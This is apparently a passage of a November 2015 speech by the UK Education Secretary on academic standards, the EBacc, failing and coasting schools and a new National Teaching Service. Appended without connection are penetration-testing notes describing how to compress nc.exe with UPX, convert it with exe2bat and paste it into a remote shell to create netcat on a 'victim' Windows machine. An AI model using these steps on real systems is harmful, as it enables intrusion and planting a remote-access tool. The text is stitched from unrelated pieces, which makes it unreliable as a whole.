But that’s the reality we face. That is a harsh reality. It’s not that the children in those areas are born less talented. It’s not that parents in those areas don’t want the best for their children. It’s not that the teachers in those areas are lazy or incompetent - far from it.
No, it’s the fault of governments over the years. They lacked the courage to do what was necessary to turn our education system around. That’s what we’ve set out to change and it is working. Because there is nothing inevitable about the situation we find ourselves in. We can change it, and any politician who believes in social justice should want to do so.
Even if you don’t share the moral imperative, you at least see the practical one. In an increasingly globalised world we need to make sure that young people in England can go toe to toe with their peers from across the globe and come out on top.
And what irritates me the most is the suggestion that we do this for the wrong reasons.
That we’ve taken the approach we have because we have some old-fashioned, outdated, atavistic view of the world and of young people.
Let me be absolutely clear. I don’t care if young people choose to watch Gogglebox and the X-Factor; or if they’re entranced and absorbed by YouTube and BuzzFeed.
But I do care if they’ve never been given the chance to read Shakespeare or study Darwin, to perform on a stage or to fiddle with a Raspberry Pi .
It’s that choice that we’re trying to achieve.
To give young people the chance to decide what they enjoy, what they want to do and ultimately who they want to be.
To give them real opportunity and to support them along the way.
Then they can make real, informed choices. But there can be no choice if we make lazy assumptions that narrow or eliminate their options.
It must be right that every child studies a strong academic core up until the age of 16.
To unlock those choices, to offer those opportunities, to broaden their minds.
And that’s why I think every child should study maths, English, history or geography, a language and the sciences up until the age of 16.
Not because I think these subjects are the only ones that matter - I can see the masses poised behind their keyboards waiting to be outraged by the mere suggestion I might believe this to be the case.
No, it’s because these subjects are the academic core, the foundations of a good education that ultimately will keep options open for young people’s future.
That’s why we introduced the English Baccalaureate or EBacc in 2010. We wanted to be open about which options would equip pupils for the future, and we wanted to highlight which schools were making sure that pupils studied this academic core.
And it’s worked. The seemingly terminal decline in young people studying this valuable combination of subjects reversed, almost doubling in just 5 years.
That is something we should all find hugely welcome. And yet it remains the case that overall just 39% of young people are now studying the EBacc - in some areas it’s as low as 20%.
I’m told it’s because the EBacc isn’t right for those children. What does that mean? Who doesn’t benefit from studying our nation’s history? Who can’t benefit and be inspired from understanding the fundamentals of science?
So once again we find adults writing off children, deciding what they can and can’t do, and worse, what they can and can’t go on to do, before they’ve even turned 15.
That’s why in our manifesto we committed to introducing an expectation that every child, who is able, should study the EBacc. Today we are consulting on how to deliver this, and on better accountability for schools about the proportion of their students who take this set of core subjects. In time, I want to see at least 90% of students entering the EBacc.
Of course we know that too much goes wrong before young people have even set foot in secondary school.
If children haven’t mastered the basics in primary school, the rest of their time in school is a game of catch-up. Maths and English are the non-negotiables for a successful life, and children who don’t master them at primary school are much - much - less likely to succeed when they move to secondary school. Only 7% of them go on to get 5 good GCSEs .
One of the most heartbreaking aspects of my job is seeing people come into my constituency office because they need help reading a letter they’ve been sent by the council because they’ve never learned how to read.
Of course we should be proud of the work that teachers and schools have done in the past 5 years to tackle the scandal of young people leaving school unable to read, write and add up properly.
But that hasn’t happened everywhere. Once again we’ve seen areas of the country lagging behind and some young people starting secondary school without these fundamentals.
So we’re also delivering on our commitment to introduce new year 7 resit tests, to make sure children who’ve fallen behind in primary school are supported to catch-up at the start of secondary.
We don’t want those young people to be written off. And we want to recognise and reward schools who get young people back on track.
But catch-up in year 7 is still catch-up. So I want to make sure that primary schools and their headteachers are being held to account in the right way.
In a way that is fair, and rewards those who take on a challenge.
New, more rigorous SATs are already being introduced at the end of primary school, and the new ‘reception baseline’ assessment has been introduced in primary schools this year.
But to be really confident that students are progressing well through primary school, we will be looking at the assessment of pupils at age seven to make sure it is as robust and rigorous as it needs to be.
We’ll be working with headteachers in the coming months on how we get this right, holding schools to account and giving them full credit for the progress they achieve.
And to those who can’t wait to challenge my commitment to high standards, I say this: I make no apology for wanting our policies to work together in a coherent way that works for pupils and teachers. My focus is on ensuring we can be confident every child is making the progress we know they can.
Because it’s become abundantly clear to me since taking on this job that there are areas where young people aren’t been given that great start in primary school, or aren’t being helped to catch up or stretched to succeed in secondary school.
I am unapologetic and uncompromising in intervening swiftly to tackle educational failure wherever it lurks.
That’s what the Education and Adoption Bill currently going through Parliament will allow us to do. It will allow us to turn around failing schools much more quickly.
Because whilst adults argue about consultations and fight ideological battles, young people are losing on average 13 months of their education in a school that has already been deemed inadequate, before things start to get better. That can’t be right.
And it will shine a spotlight on coasting schools as well. Schools that aren’t stretching their pupils or pushing them to achieve their all, even though they scrape above the floor. Because a young person’s time in school shouldn’t be about achieving the bare minimum. We shouldn’t settle for ‘good enough’. Schools should lead and inspire pupils to achieve all they can, and even things that they thought they never could.
We’ll offer coasting schools the support and challenge they need to improve. Where they rise to that challenge we’ll get out of the way and cheer them on. Where they don’t, we’ll bring in new leadership and new sponsors to turn that school around.
Because the evidence shows that excellent sponsors are making a real difference in some of our most challenging schools.
We now need those strong sponsors everywhere, not just limited to the South East and London. It’s a sad truth that when you look at many of the underperforming local authorities in our country, a significant proportion are located in the north of England.
To try and tackle this the Chancellor announced last year the creation of a Northern Sponsor fund of £10 million to get the best sponsors to take on schools in the north of England.
Today I’m announcing the first recipients of that fund - 5 outstanding sponsors, REAch4, Outwood Grange, Wakefield City Academies Trust, Tauheedul and Bright Tribe who will set up 7 high-performing academy hubs in areas having some of the greatest need.
But having the right policies, the right structures, the right curricula and even the right expectations means nothing if you don’t have the most important ingredient. Great teachers.
Everything I say and do is nothing compared to the real work of teachers on the ground - inspiring young people and changing lives. It’s teachers who have made our reforms a reality.
And if we’re going to have educational excellence everywhere, then teachers will deliver it. And so we need more of them
That’s why we’ve expanded schemes like Teach First and let schools themselves take the lead in training the next generation of teachers.
I’m acutely aware that recruitment isn’t easy at the moment for lots of schools, that as the economy improves and demand for graduates grows across the whole economy, I and my team need to be doing more to get more people into, or back into the profession, and keep the great teachers we have.
And we also need to get teachers into the right places. We can’t simply have most of our best teachers concentrated in some areas - that isn’t a one nation education, far from it.
We need great teachers right across the country.
So today I’m delighted to announce that we will be delivering on yet another of our commitments with the creation of a National Teaching Service.
A new national programme that will get our best teachers and middle leaders into underperforming schools in areas where they are needed most.
We know that the areas I’ve named today - coastal towns and rural areas struggle because they struggle to recruit and retain good teachers, they lack that vital ingredient that makes for a successful education.
The National Teaching Service will play a key part in solving this problem.
By 2020 it will have deployed 1500 outstanding teachers and middle leaders to underperforming schools.
These outstanding teachers will be employed by these schools for up to 3 years. They will not only be expected to bring outstanding teaching into the classroom, but also to improve the quality of teaching and leadership right throughout the school.
That programme will launch next September in the North West of England, targeting teachers and middle leaders to areas like Knowsley which doesn’t have a single outstanding secondary school.
We’ll continue to look at what incentives we need to attract these outstanding teachers, and how the programme can fast-track participants onto leadership opportunities.
Because I want the National Teaching Service to be a valuable, inspiring experience for participants as well as the schools they join, and - eventually - to become a rite of passage for many more great teachers.
Taken together, all of these measures should be a clear sign of this government’s determination to ensure that educational excellence is available to every single child, everywhere in this country.
To make sure that social justice isn’t just a buzzword used by politicians, but is something that lies at the heart of every single school.
To make sure that children in Knowsley, Poole, Derby, Blackpool, Portsmouth and other areas aren’t being left behind.
To raise the bar and heighten expectations, and to give schools the support they need to meet them.
To complete the mission that we started in the last Parliament - finally to slay the soft bigotry of low expectations.
To build an education system that truly unites us as one nation.
Thank you.
Published: 3 November 2015


DEBUG.exe
Note: Uploaded file cannot be larger than 64-bytes. UPX can be used to compress files.
locate exe2bat.exe
wine exe2bat.exe
upx -9 nc.exe (to compress nc.exe)
ls -l nc.exe (should now be smaller)
wine exe2bat.exe /root/nc.exe nc.txt (convert nc.exe to nc.txt)
cat nc.txt | more (should be a hex dump)
Near the end of nc.txt, exe2bat tells the debugger on the windows victim to create an exe
Gain your shell using your usual exploit then copy and paste the contents of nc.txt into the remote shell. If it fails, re-run any failed commands manually. nc.exe will now be created on the victim machine.